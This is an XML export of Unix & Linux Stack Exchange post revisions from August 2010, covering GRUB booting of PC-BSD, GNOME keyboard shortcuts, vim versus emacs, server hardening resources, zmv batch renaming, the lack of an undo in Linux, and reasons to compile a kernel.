  <row Id="1864" PostHistoryTypeId="5" PostId="859" RevisionGUID="a1e74556-d9ce-445f-86c9-2187ba3e2fcb" CreationDate="2010-08-22T01:38:28.893" UserId="392" Comment="added 417 characters in body" Text="I have Ubuntu 10.04 installed as my primary operating system, and I installed PC BSD in a different partition: /dev/sda4 without installing it's boot loader. I figured out that I need to edit /etc/grub.d/40_custom to add an entry for PC-BSD. So far, nothing seems to work, though.&#xD;&#xA;&#xD;&#xA;EDIT: this sort of works, but doesn't fully boot the OS, it then asks me for the MOUNTROOT partition.&#xD;&#xA;&#xD;&#xA;    menuentry &quot;PC-BSD 8.1&quot; {&#xD;&#xA;        insmod ufs2&#xD;&#xA;        set root=(hd0,4)&#xD;&#xA;        kfreebsd /boot/kernel/kernel&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;EDIT 2: the selected answer is likely correct, although I am disappointed that PC-BSD's installer doesn't have an option to install to the partition that PC-BSD is loaded on. Instead it either doesn't install with no foreseeable way to boot, or it installs it's not-so-great boot loader which is unable to boot anything but PC-BSD. Took me some time and an Ubuntu Live CD to fix the MBR and get grub back and working.&#xD;&#xA;" />
  <row Id="1865" PostHistoryTypeId="5" PostId="982" RevisionGUID="2f6720df-615d-4796-aa79-6aa26e10246c" CreationDate="2010-08-22T01:50:07.870" UserId="701" Comment="additional research" Text="I can't get custom keyboard shortcuts to work, default shortcuts are working properly, but the ones I changed I can only get one of them to work, I'm using the &quot;windows key&quot; to match functionality of Windows 7 for a few keys like maximize window (winkey+up), minimize window (winkey+down), etc; none of them work; for the record **I did the exact same thing in Ubuntu and it worked without any problems.**&#xD;&#xA;&#xD;&#xA;additional info:&#xD;&#xA;I also noticed that gnome-do by default uses a key that I had assigned (winkey+space) and it &quot;wins&quot; (runs gnome-do) over the custom global key I had assigned (show main menu), actually, I can change the key in gnome-do to another that I have in the keyboard shortcuts, and the gnome-do works; this just makes me wonder if there are other applications that are disabling the usage of the &quot;winkey&quot;&#xD;&#xA;&#xD;&#xA;update: I also tried using gconf-editor apps/metacity, adding the keys there, still no luck, I tried _Windows_ and _Super_ for the WinKey name, neither worked&#xD;&#xA;&#xD;&#xA;In some apps it seems the WinKey is completely ignored, i.e. it performs the action associated to the key without the WinKey, though, like I said before, there's one or two custom WinKey+SomeKey that ARE working (changed them to something else, stopped working, changed it back, worked again)&#xD;&#xA;&#xD;&#xA;Found &lt;a href=&quot;http://forums.fedoraforum.org/archive/index.php/t-115118.html&quot;&gt;this article from 2006&lt;/a&gt; that sounds very much like the problem I'm having, though I followed the steps to fix it but didn't work for me&#xD;&#xA;&#xD;&#xA;&gt; There seems to be a bug in Gnome /&#xD;&#xA;&gt; Metacity / X somewhere that means you&#xD;&#xA;&gt; can't use SUPER_L or SUPER_R (the left&#xD;&#xA;&gt; and right windows keys on a keyboard)&#xD;&#xA;&gt; with gnome system commands such as&#xD;&#xA;&gt; &quot;Lock Screen&quot;." />
  <row Id="1866" PostHistoryTypeId="5" PostId="982" RevisionGUID="af17d9af-5eec-47ef-960c-b78d481c19d8" CreationDate="2010-08-22T02:08:32.683" UserId="701" Comment="additional details" Text="I can't get custom keyboard shortcuts to work, default shortcuts are working properly, but the ones I changed I can only get one of them to work, I'm using the &quot;windows key&quot; to match functionality of Windows 7 for a few keys like maximize window (winkey+up), minimize window (winkey+down), etc; none of them work; for the record **I did the exact same thing in Ubuntu and it worked without any problems.**&#xD;&#xA;&#xD;&#xA;additional info:&#xD;&#xA;I also noticed that gnome-do by default uses a key that I had assigned (winkey+space) and it &quot;wins&quot; (runs gnome-do) over the custom global key I had assigned (show main menu), actually, I can change the key in gnome-do to another that I have in the keyboard shortcuts, and the gnome-do works; this just makes me wonder if there are other applications that are disabling the usage of the &quot;winkey&quot;&#xD;&#xA;&#xD;&#xA;update: I also tried using gconf-editor apps/metacity, adding the keys there, still no luck, I tried _Windows_, _Super_, _Mod4_ for the WinKey name, none worked&#xD;&#xA;&#xD;&#xA;In some apps it seems the WinKey is completely ignored, i.e. it performs the action associated to the key without the WinKey, though, like I said before, there's one or two custom WinKey+SomeKey that ARE working (changed them to something else, stopped working, changed it back, worked again)&#xD;&#xA;&#xD;&#xA;Found &lt;a href=&quot;http://forums.fedoraforum.org/archive/index.php/t-115118.html&quot;&gt;this article from 2006&lt;/a&gt; that sounds very much like the problem I'm having, though I followed the steps to fix it but didn't work for me&#xD;&#xA;&#xD;&#xA;&gt; There seems to be a bug in Gnome /&#xD;&#xA;&gt; Metacity / X somewhere that means you&#xD;&#xA;&gt; can't use SUPER_L or SUPER_R (the left&#xD;&#xA;&gt; and right windows keys on a keyboard)&#xD;&#xA;&gt; with gnome system commands such as&#xD;&#xA;&gt; &quot;Lock Screen&quot;." />
  <row Id="1867" PostHistoryTypeId="2" PostId="986" RevisionGUID="3426ccc3-6f18-4020-bcc7-9921f8984ae0" CreationDate="2010-08-22T02:49:21.353" UserId="1070" Text="Up front, I would like to extend this question only to those who are (at least occasionally) users of both vim and emacs and who haven't already decided in their hearts &quot;I hate the one and love the other&quot; (few thought they may be).&#xD;&#xA;&#xD;&#xA;How would you compare these editors?  What are the high points of each?  What are the low points?  Where does one better applied than the other in your opinion (and at this point review my above disclaimer again).&#xD;&#xA;&#xD;&#xA;(By the way, there's no tag for emacs, anyone want to create on for me?)" />
  <row Id="1868" PostHistoryTypeId="1" PostId="986" RevisionGUID="3426ccc3-6f18-4020-bcc7-9921f8984ae0" CreationDate="2010-08-22T02:49:21.353" UserId="1070" Text="vim vs. emacs... and no, this is not a flame war" />
  <row Id="1869" PostHistoryTypeId="3" PostId="986" RevisionGUID="3426ccc3-6f18-4020-bcc7-9921f8984ae0" CreationDate="2010-08-22T02:49:21.353" UserId="1070" Text="évimàéeditorsà" />
  <row Id="1870" PostHistoryTypeId="6" PostId="986" RevisionGUID="6a9876a3-b81f-41a3-9e06-365e8804bac5" CreationDate="2010-08-22T02:59:39.260" UserId="85" Comment="edited tags" Text="évimàéeditorsàéemacsà" />
  <row Id="1871" PostHistoryTypeId="2" PostId="987" RevisionGUID="153548cc-bb17-4922-84e1-4512d2cadd17" CreationDate="2010-08-22T03:05:33.130" UserId="1071" Text="I think they're both awesome. I think either one can do just about anything you can imagine, and they're both so customizable, that by the time you finish customizing them, they're both just exactly what you want them to be, nothing more nor less.&#xD;&#xA;&#xD;&#xA;Emacs stands out to me in being a bit closer (although still does not meet) to ISO/IEC standards of usability and consistency for user interfaces, and hence doesn't play as many tricks with your “instincts” about that vim does. The lifetime of instincts you've developed working with other programs won't work against you.&#xD;&#xA;&#xD;&#xA;Vim is a completely different model, and in many ways, it is superior on its own in so far as relies far less on Cntrl/Alt sequences, and instead just on its modes, allowing you to keep your hards on the home row and typing faster. But vim is virtually unique, and unless you install some very unusual accompanying software (e.g., Vimperator, Jumanji/Zathura, etc.), the instincts you develop working with vim won't cross over to other programs and vice-versa. That said, I've settled on vim myself. You've got to settle on one sooner or later, for better or worse, since it's difficult to master both." />
  <row Id="1872" PostHistoryTypeId="5" PostId="986" RevisionGUID="b3916d22-623d-4cda-a1ce-e486731836aa" CreationDate="2010-08-22T04:05:37.413" UserId="1070" Comment="deleted 76 characters in body" Text="Up front, I would like to extend this question only to those who are (at least occasionally) users of both vim and emacs and who haven't already decided in their hearts &quot;I hate the one and love the other&quot; (few thought they may be).&#xD;&#xA;&#xD;&#xA;How would you compare these editors?  What are the high points of each?  What are the low points?  Where does one better applied than the other in your opinion (and at this point review my above disclaimer again)." />
  <row Id="1873" PostHistoryTypeId="2" PostId="988" RevisionGUID="742a1959-b3b1-4655-802d-4e143e739387" CreationDate="2010-08-22T04:51:25.590" UserId="73" Text="I'll post what I think are the main benefits of each:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Emacs has considerably more extensions to let you do tasks that are only vaguely text-editor related, like browsing the filesystem or messing with version control, and extensions that are in no way text-editor related, like reading RSS feeds. If you want an environment instead of just a text editor, Emacs is going to be better than Vim. I also think Emacs is much easier to learn, despite what some would have you believe:&#xD;&#xA;&#xD;&#xA;![Editor learning curve comic](http://mrozekma.com/editor-learning-curve.png)&#xD;&#xA;&#xD;&#xA;In particular, I think a novice Emacs user will be faster than a novice Vim user&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;On the other hand, Vim is undeniably faster. It seems like this is a core part of the argument, but in my opinion there's no contest at all; I consider myself a fluent Emacs user, and I'm no match for the couple people I know that have an equal knowledge of Vim. The problem is, the number of people that have sufficient mastery of Vim to be that fast is incredibly small (of the ~30 people I talk to regularly who use Vim, I think only one is exceptionally good at it). There's a large gap between the *possible* speed gain and the *actual* speed gain you achieve; Emacs users are going to be almost as fast as 99% of Vim users, and (as I said in the Emacs section) beginning Emacs users will probably be faster than beginning Vim users" />
  <row Id="1874" PostHistoryTypeId="2" PostId="989" RevisionGUID="6634e787-c00c-4709-8ede-1133a5911b63" CreationDate="2010-08-22T04:57:28.543" UserId="183" Text="I use both on a regular bases.  I view Emacs as a &quot;live in&quot; editor, whereas I use Vim for quick, one off tasks.  Superficially, Emacs is much more bloated than Vim is, and so it really isn't quit so convenient to &quot;Fire up&quot; as Vim, but I also find that the philosophies of user interface from one to the other support this paradigm.  Emacs is much more built to keep you inside, making things nice and comfortable so you don't have to leave, whereas vim is much more &quot;Unixy&quot; and sees itself as part of a greater tool-belt.&#xD;&#xA;&#xD;&#xA;Many people flee from emacs due to it's heavy reliance on [bucky bits](http://en.wikipedia.org/wiki/Bucky_bit), but this is a pretty silly reason to me.  The real power that Emacs has over Vim is customizability, and with the power of Viper etc, this really isn't an issue.  Certainly Vim-Script provides it's own level of customization, and if, say, your favorite programing language wasn't provided with an appropriate syntax highlighter you could certainly cook one up, but Emacs is ultimately a self-hosting lisp-machine, and at bottom you can do much much more fiddling with it.  There just arn't such tools as [gnus](http://en.wikipedia.org/wiki/Gnus) or [org-mode](http://orgmode.org/) in vim, to name a few.  In a nut shell, Emacs isn't just an editor, it's practically a god damned operating system." />
  <row Id="1875" PostHistoryTypeId="5" PostId="989" RevisionGUID="f7229a11-1b03-43e1-942a-3e1e665824d5" CreationDate="2010-08-22T05:14:17.813" UserId="183" Comment="added 59 characters in body" Text="I use both on a regular bases.  I view Emacs as a &quot;live in&quot; editor, whereas I use Vim for quick, one off tasks.  Superficially, Emacs is much more bloated than Vim is, and so it really isn't quit so convenient to &quot;Fire up&quot; as Vim, but I also find that the philosophies of user interface from one to the other support this paradigm.  Emacs is much more built to keep you inside, making things nice and comfortable so you don't have to leave, whereas vim is much more &quot;Unixy&quot; and sees itself as part of a greater tool-belt.&#xD;&#xA;&#xD;&#xA;Many people flee from emacs due to it's heavy reliance on [bucky bits](http://en.wikipedia.org/wiki/Bucky_bit), but this is a pretty silly reason to me.  The real power that Emacs has over Vim is customizability, and with the power of Viper etc, this really isn't an issue.  Certainly Vim-Script provides it's own level of customization, and if, say, your favorite programing language wasn't provided with an appropriate syntax highlighter you could certainly cook one up, but Emacs is ultimately a self-hosting lisp-machine, and at bottom you can do much much more fiddling with it.  There just arn't such tools as [gnus](http://en.wikipedia.org/wiki/Gnus) or [org-mode](http://orgmode.org/) in vim, to name a few.  In a nut shell, Emacs isn't just an editor, it's practically a god damned operating system.&#xD;&#xA;&#xD;&#xA;For manipulating text, I'de say they're exactly on par." />
  <row Id="1876" PostHistoryTypeId="2" PostId="990" RevisionGUID="c64c779e-c736-4113-b59d-3cd4613c8faa" CreationDate="2010-08-22T06:03:12.710" UserId="639" Text="I have a website idea I want to build and launch, and I'm thinking of getting a small VPS to host it (I like Linode for their price, and they seem to be widely recommended). The problem is that I'm really very new to Linux in general, and I'm pretty broke so I can't afford help/a managed server.&#xD;&#xA;&#xD;&#xA;I downloaded Ubuntu Lucid Server and have it running in a VBox, to help me learn and to act as a close approximation to the eventual production server. I'm committed to learning, but I'm pretty afraid I'm going to miss something dumb and get compromised. As such, I'd like to know of any good guides/books explaining the main points of securing a LAMP server.&#xD;&#xA;&#xD;&#xA;I've worked through the basic stuff in Linode and Slicehost's respective tutorials, but I want to be as prepared as possible. The site isn't written yet, and I'm likely to deploy to a shared host first as a trial run, so I do have time to learn at least the basics. &#xD;&#xA;&#xD;&#xA;I know to keep everything up to date, configure iptables to only allow the holes I need (which appears to just TCP ports 22, for ssh/scp/sftp - I'll change it from the default port for the (very minor) security through obscurity bonus - and 80 for http) - though I am confused by some tutorials which say to block ICMP since I don't why I wouldn't want to respond to ping - and to only install software I need/remove software I don't need.&#xD;&#xA;&#xD;&#xA;Any advice beyond this, and especially any recommendations for guides, are well appreciated.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="1877" PostHistoryTypeId="1" PostId="990" RevisionGUID="c64c779e-c736-4113-b59d-3cd4613c8faa" CreationDate="2010-08-22T06:03:12.710" UserId="639" Text="Books/Guides for Securing a Server" />
  <row Id="1878" PostHistoryTypeId="3" PostId="990" RevisionGUID="c64c779e-c736-4113-b59d-3cd4613c8faa" CreationDate="2010-08-22T06:03:12.710" UserId="639" Text="ésecurityà" />
  <row Id="1879" PostHistoryTypeId="2" PostId="991" RevisionGUID="548339c0-39b1-4074-ae6f-a5ef02a48f38" CreationDate="2010-08-22T06:18:38.000" UserId="621" Text="Only a partial answer, but I've written an IPtables tutorial which may be of some use to you.&#xD;&#xA;http://www.ellipsix.net/geninfo/firewall/index.html&#xD;&#xA;&#xD;&#xA;Besides IPtables, you'll need to configure SSH and Apache, but those come with default configurations that are sort of secure already, so there are only a couple things you'll probably have to change. Of course, as you add more features to your website, you'll have to keep the configuration up to date accordingly. Somebody else can probably recommend good references for that.&#xD;&#xA;&#xD;&#xA;In fact, I'll make this community wiki so that if anyone else feels like adding in links, they can do so." />
  <row Id="1880" PostHistoryTypeId="2" PostId="992" RevisionGUID="727465cf-1e75-4988-bb41-d8d454c22105" CreationDate="2010-08-22T06:21:07.260" UserId="168" Text="As you're already using Ubuntu, I recommend their [Server Guide][1], which offers a basic overview of a common set of default services.&#xD;&#xA;&#xD;&#xA;Also have a look at [Linux Server Security][2] from O'Reilly. Actually, just [search Amazon][3] for quite a few offerings.&#xD;&#xA;&#xD;&#xA;Googling [server hardening checklist][4] seems to return some good, practical, ways of quickly figuring out whether something's blatantly wrong with your setup.&#xD;&#xA;&#xD;&#xA;Finally, head over to [serverfault][5]'s security section and ask away.&#xD;&#xA;&#xD;&#xA;Edit: also, ICMP should be blocked based on message. See [ICMP Packet Filtering][6] for details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/10.04/serverguide/C/index.html&#xD;&#xA;  [2]: http://oreilly.com/catalog/9780596006709&#xD;&#xA;  [3]: http://www.amazon.com/s/ref=nb_sb_ss_i_0_17?url=search-alias%3Daps&amp;field-keywords=linux+server+security&amp;x=0&amp;y=0&amp;sprefix=linux+server+secu&amp;ih=6_0_1_0_0_0_0_0_0_1.5_182&amp;fsc=4&#xD;&#xA;  [4]: http://www.google.com/search?hl=en&amp;q=server+hardening+checklist&amp;aq=f&amp;aqi=g-c2&amp;aql=&amp;oq=&amp;gs_rfai=&#xD;&#xA;  [5]: http://serverfault.com/questions/tagged/security&#xD;&#xA;  [6]: http://www.daemon.be/maarten/icmpfilter.html" />
  <row Id="1881" PostHistoryTypeId="2" PostId="993" RevisionGUID="1b67f918-65b4-467d-a076-9d17a6125dbf" CreationDate="2010-08-22T06:21:53.267" UserId="621" Text="I just stumbled on to this question and I thought I'd add a reference to an IPtables tutorial that I've written. It's more server-oriented, but it might be useful to anyone configuring IPtables for a home computer as well. It does include a lot of information on why each rule is set up the way it is.&#xD;&#xA;&#xD;&#xA;http://www.ellipsix.net/geninfo/firewall/index.html" />
  <row Id="1882" PostHistoryTypeId="16" PostId="991" RevisionGUID="548339c0-39b1-4074-ae6f-a5ef02a48f38" CreationDate="2010-08-22T06:22:58.677" UserId="621" />
  <row Id="1883" PostHistoryTypeId="2" PostId="994" RevisionGUID="761cb1d9-3df7-459d-b2ec-f7161ca6b2a6" CreationDate="2010-08-22T07:05:17.187" UserId="29" Text="There is a `vi` available on every unix system (or almost), however you can't say this about any other editor. This is the #1 reason, imo, to learn and familiarize yourself with `vi` (please note 'vi' not 'vim'). I've never seen Emacs be available in a default install.&#xD;&#xA;&#xD;&#xA;I'm not saying don't use Emacs or this is the only reason to use Vim, but when you want to be able to use Unix systems that aren't yours... `vi` is part of the universal language." />
  <row Id="1884" PostHistoryTypeId="2" PostId="995" RevisionGUID="2974de86-6364-47af-b5a9-76b2aeba7296" CreationDate="2010-08-22T07:47:37.353" UserId="78" Text="I'm trying to mass rename the files from one extension to another (background: use haml instead of erb in my rails app). I get following output when issuing rename command:&#xD;&#xA;&#xD;&#xA;    % zmv '**/*.erb' $1.haml    &#xD;&#xA;    zmv: error(s) in substitution:&#xD;&#xA;    app/views/l/links/index.html.erb and app/views/index/index.html.erb both map to .haml&#xD;&#xA;    app/views/l/links/new.html.erb and app/views/l/links/index.html.erb both map to .haml&#xD;&#xA;    app/views/l/links/show.html.erb and app/views/l/links/new.html.erb both map to .haml&#xD;&#xA;    app/views/l/links/stats.html.erb and app/views/l/links/show.html.erb both map to .haml&#xD;&#xA;    app/views/layouts/application.html.erb and app/views/l/links/stats.html.erb both map to .haml&#xD;&#xA;    app/views/u/profiles/_form.erb and app/views/layouts/application.html.erb both map to .haml&#xD;&#xA;    app/views/u/profiles/edit.html.erb and app/views/u/profiles/_form.erb both map to .haml&#xD;&#xA;    app/views/u/profiles/show.html.erb and app/views/u/profiles/edit.html.erb both map to .haml&#xD;&#xA;    app/views/u/user_sessions/new.html.erb and app/views/u/profiles/show.html.erb both map to .haml&#xD;&#xA;    app/views/u/users/_form.erb and app/views/u/user_sessions/new.html.erb both map to .haml&#xD;&#xA;    app/views/u/users/new.html.erb and app/views/u/users/_form.erb both map to .haml&#xD;&#xA;    app/views/u/users/show.html.erb and app/views/u/users/new.html.erb both map to .haml&#xD;&#xA;&#xD;&#xA;Can anyone point me to the right direction of fixing this?" />
  <row Id="1885" PostHistoryTypeId="1" PostId="995" RevisionGUID="2974de86-6364-47af-b5a9-76b2aeba7296" CreationDate="2010-08-22T07:47:37.353" UserId="78" Text="zsh: trouble batch-renaming files with zmv" />
  <row Id="1886" PostHistoryTypeId="3" PostId="995" RevisionGUID="2974de86-6364-47af-b5a9-76b2aeba7296" CreationDate="2010-08-22T07:47:37.353" UserId="78" Text="ézshà" />
  <row Id="1887" PostHistoryTypeId="2" PostId="996" RevisionGUID="4c27ecd6-ffbc-4970-b9e2-712ec5f35ec9" CreationDate="2010-08-22T08:09:33.143" UserId="912" Text="I renamed a few files in one batch script. Is there a way to undo the changes without having to rename them back?&#xD;&#xA;&#xD;&#xA;Does Linux provide some native way of `undo`ing?" />
  <row Id="1888" PostHistoryTypeId="1" PostId="996" RevisionGUID="4c27ecd6-ffbc-4970-b9e2-712ec5f35ec9" CreationDate="2010-08-22T08:09:33.143" UserId="912" Text="Do we have a undo in Linux?" />
  <row Id="1889" PostHistoryTypeId="3" PostId="996" RevisionGUID="4c27ecd6-ffbc-4970-b9e2-712ec5f35ec9" CreationDate="2010-08-22T08:09:33.143" UserId="912" Text="élinuxàécommandölineàéunixà" />
  <row Id="1890" PostHistoryTypeId="2" PostId="997" RevisionGUID="23e5712f-61f4-496e-b35f-f43c1e26711f" CreationDate="2010-08-22T08:17:17.870" UserId="392" Text="Unfortunately, no." />
  <row Id="1891" PostHistoryTypeId="2" PostId="998" RevisionGUID="1c849ae6-8d73-4f61-a7d5-8283aaa87960" CreationDate="2010-08-22T08:17:26.683" UserId="29" Text="No there is no magical undo in any Unix. Unix assumes that you know what you are doing. For Undo support use a VCS (your text editor probably has it built in too)." />
  <row Id="1892" PostHistoryTypeId="2" PostId="999" RevisionGUID="94ca7cfb-7c92-4b31-9c5a-dd18a3030c6c" CreationDate="2010-08-22T08:47:46.700" UserId="728" Text="There is no undo in the command line. You can however, alias the `rm` and `mv` commands as `rm -i` and `mv -i`. This will prompt you with an &quot;are you sure?&quot; question before they execute the command.&#xD;&#xA;&#xD;&#xA;This can be done by adding the following lines to a startup script (e.g. `~/.bashrc` or `/etc/bash.bashrc`):&#xD;&#xA;&#xD;&#xA;    alias rm='rm -i'&#xD;&#xA;    alias mv='mv -i'&#xD;&#xA;" />
  <row Id="1893" PostHistoryTypeId="2" PostId="1000" RevisionGUID="5fef8314-e208-47df-b9b4-4432b3465f1a" CreationDate="2010-08-22T09:01:19.013" UserId="27" Text="If you really want an undo feature, use source control.  [Subversion][1] actually works very well on a single user machine.  I use it to control all my personal files on my home system.  It seems like overkill, until disaster, a rogue script or a command line typo hits.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://subversion.tigris.org/" />
  <row Id="1894" PostHistoryTypeId="2" PostId="1001" RevisionGUID="d554f667-64f4-467f-be8c-b62b2961f0b7" CreationDate="2010-08-22T09:03:35.110" UserId="412" Text="I think what you really want is something like this:&#xD;&#xA;&#xD;&#xA;    % zmv '(**)/(*).erb' '$1/$2.haml'&#xD;&#xA;    #      ^$1  ^$2&#xD;&#xA;&#xD;&#xA;You need to use the parenthesis to create match groups, and you create a match group for the path to the file, and then a match group for the file name. Also, you need to make sure the second argument is also in single-quotes for zmv." />
  <row Id="1895" PostHistoryTypeId="2" PostId="1002" RevisionGUID="63951419-dc53-4ffa-a56f-3bc2bf0d6ec1" CreationDate="2010-08-22T09:03:39.087" UserId="1078" Text="Compiling your own kernel allows you to participate in the kernel development process, whether that is simple stuff such as supplying PCI/USB device IDs for an existing driver that may make a newer device work for you, to getting deeply involved in the fray of core kernel development.&#xD;&#xA;&#xD;&#xA;It also allows you to test development kernels on your hardware and provide feedback if you notice any regressions. This can be particularly helpful to you and others if you have an uncommon piece of hardware. If you wait for a distro kernel, it can take some time for fixes from your problem reports to filter into a new distro kernel release.&#xD;&#xA;&#xD;&#xA;I also personally like to compile my own kernels to include support for only the hardware that I have. When you run distro kernels and look at the output of `lsmod(8)`, you see lots of modules loaded for hardware you don't have. This can pollute the module list, /proc, /sys and your logs such that when you're searching for something it can get hidden amongst the noise; You also cannot be 100% sure that those modules are not contributing to a problem you are trying to diagnose." />
  <row Id="1896" PostHistoryTypeId="2" PostId="1003" RevisionGUID="66b0a769-6c39-4961-b964-8e58a0120c27" CreationDate="2010-08-22T09:08:08.750" UserId="1079" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm interested with modifying the the kernel internals, applying patches, handling device drivers and modules, for my own personal fun. &#xD;&#xA;&#xD;&#xA;Is there a comprehensive resource for kernel hacking, intended for experienced programmers?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Adam" />
  <row Id="1897" PostHistoryTypeId="1" PostId="1003" RevisionGUID="66b0a769-6c39-4961-b964-8e58a0120c27" CreationDate="2010-08-22T09:08:08.750" UserId="1079" Text="Kernel: Good beginners' tutorial" />
  <row Id="1898" PostHistoryTypeId="3" PostId="1003" RevisionGUID="66b0a769-6c39-4961-b964-8e58a0120c27" CreationDate="2010-08-22T09:08:08.750" UserId="1079" Text="ékernelà" />
  <row Id="1899" PostHistoryTypeId="5" PostId="1001" RevisionGUID="4b6bd447-9488-4047-8e69-2e4524755461" CreationDate="2010-08-22T09:23:28.283" UserId="412" Comment="added 159 characters in body" Text="I think what you really want is something like this:&#xD;&#xA;&#xD;&#xA;    % zmv '(**)/(*).erb' '$1/$2.haml'&#xD;&#xA;    #      ^$1  ^$2&#xD;&#xA;&#xD;&#xA;You need to use the parenthesis to create match groups, and you create a match group for the path to the file, and then a match group for the file name. Also, you need to make sure the second argument is also in single-quotes for zmv.&#xD;&#xA;&#xD;&#xA;Also, it's a really good idea to test zmv commands with '-n' before you run them (-n will tell you what will be renamed, but not actually rename anything.)" />
  <row Id="1900" PostHistoryTypeId="2" PostId="1004" RevisionGUID="fadea8f4-0965-4773-89db-ec4a45f99fd0" CreationDate="2010-08-22T10:02:42.433" UserId="885" Text="Linux (like other unices) doesn't natively provide an undo feature. The philosophy is that if it's gone, it's gone. If it was important, it should have been backed up.&#xD;&#xA;&#xD;&#xA;There is a fuse filesystem that automatically keeps copies of old versions: [copyfs](http://boklm.eu/copyfs/), available in all good distributions. Of course, that can use a lot of resources.&#xD;&#xA;&#xD;&#xA;The best way to protect against such accidents is to use a version control system (cvs, bazaar, darcs, git, mercurial, subversion, ...). It takes a little time to learn, but it pays off awesomely in the medium and long term.&#xD;&#xA;" />
  <row Id="1901" PostHistoryTypeId="2" PostId="1005" RevisionGUID="809e6907-6078-4c81-a2c0-d07a50532b05" CreationDate="2010-08-22T10:14:34.243" UserId="885" Text="You need to tell `zsh` what `$1` refers to. There are two possibilities:&#xD;&#xA;&#xD;&#xA;* Use parentheses around parts of the source pattern that you want to use. For example, in `zmv '(*)/(*).erb' '$1/$2.haml'`, '$1' means what is matched by the first `*` and `$2` means what is matched by the second `$2`. Unfortunately you can't use parentheses around `**` (if you do, they lose their special meaning of “any depth of directories” and become equivalent to `*`).&#xD;&#xA;&#xD;&#xA;* Use the `-w` option, in which case each &lt;code&gt;$&lt;em&gt;N&lt;/em&gt;&lt;/code&gt; corresponds to the text matched by the *N*th wildcard in the source pattern. For example, `zmv -w '**/*.erb' '$1/$2.haml'` does what you want.&#xD;&#xA;&#xD;&#xA;Note that you must always use single quotes around the replacement text (or use `\$`), otherwise the `$`s are expanded by the shell before they get to the `zmv` built-in command.&#xD;&#xA;" />
  <row Id="1902" PostHistoryTypeId="2" PostId="1006" RevisionGUID="a3d9ff1f-304e-4fd9-888f-242728e22f0f" CreationDate="2010-08-22T10:36:49.833" UserId="140" Text="The package managers you cite are really just a choice of front-ends to an underlying packaging system. For example, yum is a front-end to RPM, and others exist (smart, zypper, apt4rpm, and so on). Similarly, the average DPKG-based system has two or three package managers by default (Synaptic, Aptitude, apt-get, dselect, and so on). I don't know enough about Pacman to comment there.&#xD;&#xA;&#xD;&#xA;The front-end is really not all that interesting - there's a degree of dependency resolution it needs to handle, but the really &quot;difficult&quot; part of package management comes from the underlying package format.&#xD;&#xA;&#xD;&#xA;Again, I can't comment on Pacman, but between RPM and DPKG, It's RPM which has a tougher job - you can define extremely complex relationships in your RPM package, which the resolver needs to somehow handle, and a single slip-up in your package definitions may cause misery down the line. DPKG is a much simpler format as far as dependency information is concerned, since you can only define two things - package names and versions - whereas with RPM you can do complicated things like versioned symbols in dependencies, and so on.&#xD;&#xA;&#xD;&#xA;So, to answer your question, the choice between managers within a single format is personal taste only (I mostly use aptitude). The choice between formats is one of how fine-grained a control you want (and, ironically, how much complexity you want that control to introduce into your packaging)." />
  <row Id="1903" PostHistoryTypeId="5" PostId="1001" RevisionGUID="d6a95a31-669d-4cd3-ab4f-8f1587253e2f" CreationDate="2010-08-22T11:17:01.380" UserId="412" Comment="My edit actually broke the nested directory matching! That was dumb." Text="I think what you really want is something like this:&#xD;&#xA;&#xD;&#xA;    % zmv '(**/)(*).erb' '$1/$2.haml'&#xD;&#xA;    #      ^$1  ^$2&#xD;&#xA;&#xD;&#xA;You need to use the parenthesis to create match groups, and you create a match group for the path to the file, and then a match group for the file name. Also, you need to make sure the second argument is also in single-quotes for zmv.&#xD;&#xA;&#xD;&#xA;Also, it's a really good idea to test zmv commands with '-n' before you run them (-n will tell you what will be renamed, but not actually rename anything.)" />
  <row Id="1904" PostHistoryTypeId="5" PostId="1005" RevisionGUID="91b1e65e-941e-4bec-a6e5-78ab19f03b47" CreationDate="2010-08-22T12:32:16.037" UserId="885" Comment="discuss ** and / inside parentheses" Text="You need to tell `zsh` what `$1` refers to. There are two possibilities:&#xD;&#xA;&#xD;&#xA;* Use parentheses around parts of the source pattern that you want to use. For example, in `zmv '(*)/(*).erb' '$1/$2.haml'`, '$1' means what is matched by the first `*` and `$2` means what is matched by the second `$2`.&#xD;&#xA;&#xD;&#xA; [**EDIT** (thanks to [clee](http://unix.stackexchange.com/questions/995/zsh-trouble-batch-renaming-files-with-zmv/1001#1001) for pointing out that `(**/)` works)] Parentheses are a little awkward to use with multiple directory levels. If you write `(**)`, the double asterisk loses its special meaning (only a single directory level is matched). And you mostly can't use `/` inside parentheses, so `(**/*)` is not a valid pattern. However, the special case `(**/)` works, so you can write `zmv '(**/)(*).erb' '$1$2.haml'`.&#xD;&#xA;&#xD;&#xA;* Use the `-w` option, in which case each &lt;code&gt;$&lt;em&gt;N&lt;/em&gt;&lt;/code&gt; corresponds to the text matched by the *N*th wildcard in the source pattern. For example, `zmv -w '**/*.erb' '$1/$2.haml'` does what you want.&#xD;&#xA;&#xD;&#xA;Note that you must always use single quotes around the replacement text (or use `\$`), otherwise the `$`s are expanded by the shell before they get to the `zmv` built-in command.&#xD;&#xA;" />
  <row Id="1905" PostHistoryTypeId="2" PostId="1007" RevisionGUID="4a9041a7-cb40-4060-973d-c5daf28b4550" CreationDate="2010-08-22T12:35:15.093" UserId="305" Text="For most uses generic kernels are good for virtually any hardware. Additionally they usually contain(ed) distribution-specific patches so compiling your own kernel may (might) cause problems.&#xD;&#xA;&#xD;&#xA;The reson to compile your own kernel are:&#xD;&#xA;&#xD;&#xA;- You are using source-based distro so there is no 'generic' kernel&#xD;&#xA;- You are kernel developer and you develop kernel&#xD;&#xA;- You must customize kernel for example for embedded device with very limited hard drive&#xD;&#xA;- Some driver is not compiled in (very rare case)&#xD;&#xA;- You want to patch kernel **AND** you know what you are doing&#xD;&#xA;- You want to learn how to compile kernel&#xD;&#xA;&#xD;&#xA;If I wasn't using source-based distro I wouldn't compile kernel at all." />
